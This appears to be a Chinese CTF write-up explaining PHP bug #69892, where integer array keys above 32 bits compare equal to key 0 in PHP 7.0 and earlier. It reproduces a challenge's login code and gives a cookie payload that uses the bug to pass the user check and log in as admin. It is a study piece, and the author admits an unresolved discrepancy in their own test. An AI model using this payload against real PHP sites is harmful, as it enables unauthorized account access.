phpBug#69892
测试发现,此漏洞在 php7.0.*及以前都可以使用,测试php 7.2.23 时已被修复。
数字型下标在比较时,是通过各自下标值相减的结果来进行判断的,判断结果如果为0其就相等。但是在相减的时候是以unsigned long
类型进行相减的,但是他们返回的结果却只是32位的int
类型。因此,当比较结果的低32位全是0的话,比较结果会是相等。如:
1 2 3 4
| key=0 key=0x100000000 key=0x1000000000 大于8个0都可以,转为十进制也是可以的。
|
var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)
【参考链接】
下面看一道题,来进一步加深
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php //php 7.0.* 及以前可以使用,测试php7.2.23已修复 $users = array( "0:9b5c3d2b64b8f74e56edec71462bd97a" , "1:4eb5fb1501102508a86971773849d266", "2:facabd94d57fc9f1e655ef9ce891e86e", "3:ce3924f011fe323df3a6a95222b0c909", "4:7f6618422e6a7ca2e939bd83abde402c", "5:06e2b745f3124f7d670f78eabaa94809", "6:8e39a6e40900bb0824a8e150c0d0d59f", "7:d035e1a80bbb377ce1edce42728849f2", "8:0927d64a71a9d0078c274fc5f4f10821", "9:e2e23d64a642ee82c7a270c6c76df142", "10:70298593dd7ada576aff61b6750b9118" );
$valid_user = false;
$input = $_COOKIE['user']; $input[1] = md5($input[1]);
foreach ($users as $user) { $user = explode(":", $user); if ($input === $user) { $uid = $input[0] + 0; $valid_user = true; } }
if (!$valid_user) { die("not a valid user\n"); }
if ($uid == 0) {
echo "Hello Admin How can I serve you today?\n"; echo "SECRETS ....\n";
} else { echo "Welcome back user\n"; }
|
分析一下: 它需要我们cookie传入一个数组其中包括用户名(0-10)和密码且用户名下标为0,密码下标为1。然后它对我们传来的值(密码MD5)进行判断。
这边我们可以知道用户 5 的密码是 hund 其它的都爆破不出来。结合上面提到的phpBug#69892
我们可以想到越权登入,我们的payload为;
1
| Cookie:user[4294967296]=5;user[1]=hund;
|
再解析一下打入payload后执行过程:
- 首先是进入这边判断:
1 2 3 4 5 6 7 8
| foreach ($users as $user) { $user = explode(":", $user); if ($input === $user) { $uid = $input[0] + 0; $valid_user = true; } }
|
当遍历到$user为用户5和密码时,就相当于判断如下:1
| [0x100000000 => "5",1 => "06e2b745f3124f7d670f78eabaa94809"] === [0 => "5",1 => "06e2b745f3124f7d670f78eabaa94809"]
|
我们可以知道放回是true的,这样就绕过了。
- 随后执行
$uid = $input[0] + 0;
因为$input[0]
没有定义所以为空,空加0后强制转换为了0,这样后面判断uid的时候就成功进入了0用户了。
记疑惑
自己在本地测试发现如下可以过:
1 2 3
| <?php var_dump([0x100000000 => "5",1 => "06e2b745f3124f7d670f78eabaa94809"] === [0 => "5",1 => "06e2b745f3124f7d670f78eabaa94809"]); ?>
|
调试也发现到用户5的时候确实就是这些数据,当它去没用通过if。我吐了,折腾了半天也没搞明白,就直接记住把。
![]()